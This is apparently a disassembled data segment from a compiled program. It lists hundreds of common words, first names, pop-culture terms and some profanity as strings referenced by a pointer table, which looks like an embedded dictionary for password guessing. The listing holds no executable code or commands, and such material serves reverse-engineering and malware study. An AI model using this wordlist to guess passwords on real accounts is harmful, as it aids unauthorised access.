aWork		db 'work',0             ; DATA XREF: seg002:0042DC74o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:0042DC70o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:0042DC6Co
		align 4
aWord		db 'word',0             ; DATA XREF: seg002:0042DC68o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:0042DC64o
		align 10h
aWood		db 'wood',0             ; DATA XREF: seg002:0042DC60o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:0042DC5Co
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: seg002:0042DC58o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:0042DC54o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:0042DC50o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg002:0042DC4Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:0042DC48o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg002:0042DC44o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:0042DC40o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:0042DC3Co
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:0042DC38o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: seg002:0042DC34o
aWing		db 'wing',0             ; DATA XREF: seg002:0042DC30o
		align 10h
aWine		db 'wine',0             ; DATA XREF: seg002:0042DC2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0042DC28o
aWilma		db 'wilma',0            ; DATA XREF: seg002:0042DC24o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:0042DC20o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: seg002:0042DC1Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg002:0042DC18o
aWill		db 'will',0             ; DATA XREF: seg002:0042DC14o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg002:0042DC10o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:0042DC0Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: seg002:0042DC08o
aWhiting	db 'whiting',0          ; DATA XREF: seg002:0042DC04o
aWhite		db 'white',0            ; DATA XREF: seg002:0042DC00o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:0042DBFCo
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:0042DBF8o
aWhatever	db 'whatever',0         ; DATA XREF: seg002:0042DBF4o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:0042DBF0o
aWest		db 'west',0             ; DATA XREF: seg002:0042DBECo
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:0042DBE8o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: seg002:0042DBE4o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:0042DBE0o
		align 10h
aWell		db 'well',0             ; DATA XREF: seg002:0042DBDCo
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:0042DBD8o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: seg002:0042DBD4o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:0042DBD0o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:0042DBCCo
aWave		db 'wave',0             ; DATA XREF: seg002:0042DBC8o
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:0042DBC4o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:0042DBC0o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:0042DBBCo
		align 10h
aWarren		db 'warren',0           ; DATA XREF: seg002:0042DBB8o
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg002:0042DBB4o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: seg002:0042DBB0o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg002:0042DBACo
aWarez		db 'warez',0            ; DATA XREF: seg002:0042DBA8o
		align 4
aWard		db 'ward',0             ; DATA XREF: seg002:0042DBA4o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg002:0042DBA0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg002:0042DB9Co
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg002:0042DB98o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: seg002:0042DB94o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg002:0042DB90o
aVirus		db 'virus',0            ; DATA XREF: seg002:0042DB8Co
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg002:0042DB88o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg002:0042DB84o
		align 4
aVillage	db 'village',0          ; DATA XREF: seg002:0042DB80o
aVideogam	db 'videogam',0         ; DATA XREF: seg002:0042DB7Co
		align 10h
aVideo		db 'video',0            ; DATA XREF: seg002:0042DB78o
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg002:0042DB74o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: seg002:0042DB70o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg002:0042DB6Co
aVeronica	db 'veronica',0         ; DATA XREF: seg002:0042DB68o
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg002:0042DB64o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg002:0042DB60o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg002:0042DB5Co
aValerie	db 'valerie',0          ; DATA XREF: seg002:0042DB58o
aVagina		db 'vagina',0           ; DATA XREF: seg002:0042DB54o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg002:0042DB50o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg002:0042DB4Co
aUtil		db 'util',0             ; DATA XREF: seg002:0042DB48o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg002:0042DB44o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg002:0042DB40o
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: seg002:0042DB3Co
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg002:0042DB38o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg002:0042DB34o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg002:0042DB30o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg002:0042DB2Co
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg002:0042DB28o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg002:0042DB24o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: seg002:0042DB20o
aUniversi	db 'universi',0         ; DATA XREF: seg002:0042DB1Co
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: seg002:0042DB18o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg002:0042DB14o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg002:0042DB10o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg002:0042DB0Co
aUnhappy	db 'unhappy',0          ; DATA XREF: seg002:0042DB08o
aUndo		db 'undo',0             ; DATA XREF: seg002:0042DB04o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg002:0042DB00o
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: seg002:0042DAFCo
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg002:0042DAF8o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: seg002:0042DAF4o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg002:0042DAF0o
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: seg002:0042DAECo
aTubas		db 'tubas',0            ; DATA XREF: seg002:0042DAE8o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: seg002:0042DAE4o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg002:0042DAE0o
		align 10h
aTron		db 'tron',0             ; DATA XREF: seg002:0042DADCo
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg002:0042DAD8o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg002:0042DAD4o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg002:0042DAD0o
aTrisha		db 'trisha',0           ; DATA XREF: seg002:0042DACCo
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg002:0042DAC8o
		align 4
aTree		db 'tree',0             ; DATA XREF: seg002:0042DAC4o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg002:0042DAC0o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg002:0042DABCo
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: seg002:0042DAB8o
		align 4
aTrails		db 'trails',0           ; DATA XREF: seg002:0042DAB4o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: seg002:0042DAB0o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: seg002:0042DAACo
		align 4
aTraci		db 'traci',0            ; DATA XREF: seg002:0042DAA8o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: seg002:0042DAA4o
					; seg002:0042E3B4o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: seg002:0042DAA0o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: seg002:0042DA9Co
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg002:0042DA98o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: seg002:0042DA94o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg002:0042DA90o
		align 4
aToken		db 'token',0            ; DATA XREF: seg002:0042DA8Co
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: seg002:0042DA88o
		align 4
aToad		db 'toad',0             ; DATA XREF: seg002:0042DA84o
		align 10h
aTits		db 'tits',0             ; DATA XREF: seg002:0042DA80o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg002:0042DA7Co
		align 10h
aTime		db 'time',0             ; DATA XREF: seg002:0042DA78o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:0042DA74o
					; seg002:0042E3A8o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: seg002:0042DA70o
aThursday	db 'thursday',0         ; DATA XREF: seg002:0042DA6Co
		align 4
aThin		db 'thin',0             ; DATA XREF: seg002:0042DA68o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: seg002:0042DA64o
aThailand	db 'thailand',0         ; DATA XREF: seg002:0042DA60o
		align 10h
aText		db 'text',0             ; DATA XREF: seg002:0042DA5Co
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:0042DA58o
		align 10h
aTess		db 'tess',0             ; DATA XREF: seg002:0042DA54o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:0042DA50o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg002:0042DA4Co
		align 10h
aTera		db 'tera',0             ; DATA XREF: seg002:0042DA48o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:0042DA44o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: seg002:0042DA40o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg002:0042DA3Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg002:0042DA38o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: seg002:0042DA34o
aTeen		db 'teen',0             ; DATA XREF: seg002:0042DA30o
		align 10h
aTech		db 'tech',0             ; DATA XREF: seg002:0042DA2Co
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:0042DA28o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: seg002:0042DA24o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:0042DA20o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: seg002:0042DA18o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:0042DA14o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg002:0042DA10o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg002:0042DA0Co
		align 4
aTape		db 'tape',0             ; DATA XREF: seg002:0042DA08o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg002:0042DA04o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:0042DA00o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: seg002:0042D9FCo
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:0042D9F8o
		align 10h
aTami		db 'tami',0             ; DATA XREF: seg002:0042D9F4o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:0042D9F0o
		align 10h
aTall		db 'tall',0             ; DATA XREF: seg002:0042D9ECo
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:0042D9E8o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:0042D9E4o
aSysop		db 'sysop',0            ; DATA XREF: seg002:0042D9E0o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:0042D9DCo
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:0042D9D8o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:0042D9D4o
		align 10h
aSword		db 'sword',0            ; DATA XREF: seg002:0042D9D0o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:0042D9CCo
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: seg002:0042D9C8o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:0042D9C4o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:0042D9C0o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:0042D9BCo
aSusie		db 'susie',0            ; DATA XREF: seg002:0042D9B8o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:0042D9B4o
aSusan		db 'susan',0            ; DATA XREF: seg002:0042D9B0o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:0042D9ACo
aSurfer		db 'surfer',0           ; DATA XREF: seg002:0042D9A8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:0042D9A4o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:0042D9A0o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:0042D99Co
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:0042D998o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:0042D994o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: seg002:0042D990o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg002:0042D98Co
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:0042D988o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: seg002:0042D984o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:0042D980o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:0042D97Co
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg002:0042D978o
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:0042D974o
aSubway		db 'subway',0           ; DATA XREF: seg002:0042D970o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:0042D96Co
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:0042D968o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg002:0042D960o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:0042D95Co
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:0042D958o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:0042D954o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:0042D950o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: seg002:0042D94Co
aStones		db 'stones',0           ; DATA XREF: seg002:0042D948o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: seg002:0042D944o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:0042D940o
					; seg002:00425600o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:0042D93Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg002:off_42549Co
					; seg002:0042D938o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:0042D934o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: seg002:0042D930o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:0042D92Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: seg002:0042D928o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:0042D924o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: seg002:0042D920o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg002:0042D91Co
aStartrek	db 'startrek',0         ; DATA XREF: seg002:0042D918o
		align 10h
aStart		db 'start',0            ; DATA XREF: seg000:0040ED2Bo
					; seg002:0042D914o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:0042D910o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:0042D90Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg002:0042D908o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:0042D904o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg002:0042D900o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:0042D8FCo
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg002:0042D8F8o
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:0042D8F4o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:0042D8F0o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:0042D8ECo
		align 10h
aSpring		db 'spring',0           ; DATA XREF: seg002:0042D8E8o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:0042D8E4o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: seg002:0042D8E0o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:0042D8DCo
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:0042D8D8o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg002:0042D8D4o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:0042D8D0o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg002:0042D8CCo
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:0042D8C8o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:0042D8C4o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg002:0042D8C0o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:0042D8BCo
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg002:0042D8B8o
aSonya		db 'sonya',0            ; DATA XREF: seg002:0042D8B4o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg002:0042D8B0o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:0042D8ACo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg002:0042D8A8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:0042D8A4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: seg002:0042D8A0o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg002:0042D89Co
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:0042D898o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg002:0042D894o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:0042D890o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: seg002:0042D88Co
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:0042D888o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: seg002:0042D884o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:0042D880o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: seg002:0042D87Co
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:0042D878o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: seg002:0042D874o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:0042D870o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: seg002:0042D86Co
aSmooch		db 'smooch',0           ; DATA XREF: seg002:0042D868o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: seg002:0042D864o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:0042D860o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: seg002:0042D85Co
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:0042D858o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: seg002:0042D854o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:0042D850o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: seg002:0042D84Co
aSlick		db 'slick',0            ; DATA XREF: seg002:0042D848o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: seg002:0042D844o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:0042D840o
		align 10h
aSite		db 'site',0             ; DATA XREF: seg002:0042D83Co
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:0042D838o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: seg002:0042D834o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:0042D830o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:0042D82Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: seg002:0042D828o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:0042D824o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: seg002:0042D820o
aSilver		db 'silver',0           ; DATA XREF: seg002:0042D81Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: seg002:0042D818o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg002:0042D814o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:0042D810o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:0042D80Co
aShort		db 'short',0            ; DATA XREF: seg002:0042D808o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg002:0042D804o
aShiva		db 'shiva',0            ; DATA XREF: seg002:0042D800o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:0042D7FCo
aShit		db 'shit',0             ; DATA XREF: seg002:0042D7F8o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg002:0042D7F4o
aShift		db 'shift',0            ; DATA XREF: seg002:0042D7F0o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg002:0042D7ECo
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:0042D7E8o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:0042D7E4o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:0042D7E0o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: seg002:0042D7DCo
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:0042D7D8o
		align 10h
aShark		db 'shark',0            ; DATA XREF: seg002:0042D7D4o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:0042D7D0o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: seg002:0042D7CCo
aSexy		db 'sexy',0             ; DATA XREF: seg002:0042D7C8o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: seg002:0042D7C4o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:0042D7C0o
					; seg002:0042E388o
aSerial_0	db 'serial',0           ; DATA XREF: seg002:0042D7BCo
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:0042D7B8o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:0042D7B4o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:0042D7B0o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:0042D7ACo
		align 10h
aSega		db 'sega',0             ; DATA XREF: seg002:0042D7A8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:0042D7A4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: seg002:0042D7A0o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg002:0042D79Co
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:0042D798o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg002:0042D794o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:0042D790o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:0042D78Co
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:0042D788o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:0042D784o
aSchool		db 'school',0           ; DATA XREF: seg002:0042D780o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:0042D77Co
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg002:0042D778o
aSaxon		db 'saxon',0            ; DATA XREF: seg002:0042D774o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg002:0042D770o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:0042D76Co
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: seg002:0042D768o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:0042D764o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: seg002:0042D760o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:0042D75Co
		align 10h
aSample		db 'sample',0           ; DATA XREF: seg002:0042D758o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:0042D754o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:0042D750o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg002:0042D74Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:0042D748o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg002:0042D744o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:0042D740o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg002:0042D73Co
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:0042D738o
aRules		db 'rules',0            ; DATA XREF: seg002:0042D734o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:0042D730o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg002:0042D72Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:0042D728o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg002:0042D724o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:0042D720o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg002:0042D71Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:0042D718o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:0042D714o
aRose		db 'rose',0             ; DATA XREF: seg002:0042D710o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: seg002:0042D70Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:0042D708o
aRomeo		db 'romeo',0            ; DATA XREF: seg002:0042D704o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:0042D700o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: seg002:0042D6FCo
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:0042D6F8o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:0042D6F4o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg002:0042D6F0o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:0042D6ECo
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:0042D6E8o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:0042D6E4o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:0042D6E0o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg002:0042D6DCo
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:0042D6D8o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: seg002:0042D6D4o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:0042D6D0o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: seg002:0042D6CCo
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:0042D6C8o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: seg002:0042D6C4o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:0042D6C0o
		align 10h
aRing		db 'ring',0             ; DATA XREF: seg002:0042D6BCo
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:0042D6B8o
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:0042D6B4o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:0042D6B0o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:0042D6ACo
		align 10h
aRich		db 'rich',0             ; DATA XREF: seg002:0042D6A8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:0042D6A4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: seg002:0042D6A0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:0042D69Co
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:0042D698o
		align 10h
aReport		db 'report',0           ; DATA XREF: seg002:0042D694o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:0042D690o
		align 10h
aReno		db 'reno',0             ; DATA XREF: seg002:0042D68Co
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:0042D688o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: seg002:0042D684o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:0042D680o
aRegional	db 'regional',0         ; DATA XREF: seg002:0042D67Co
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg002:0042D678o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:0042D674o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:0042D670o
aRecord		db 'record',0           ; DATA XREF: seg002:0042D66Co
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: seg002:0042D668o
		align 4
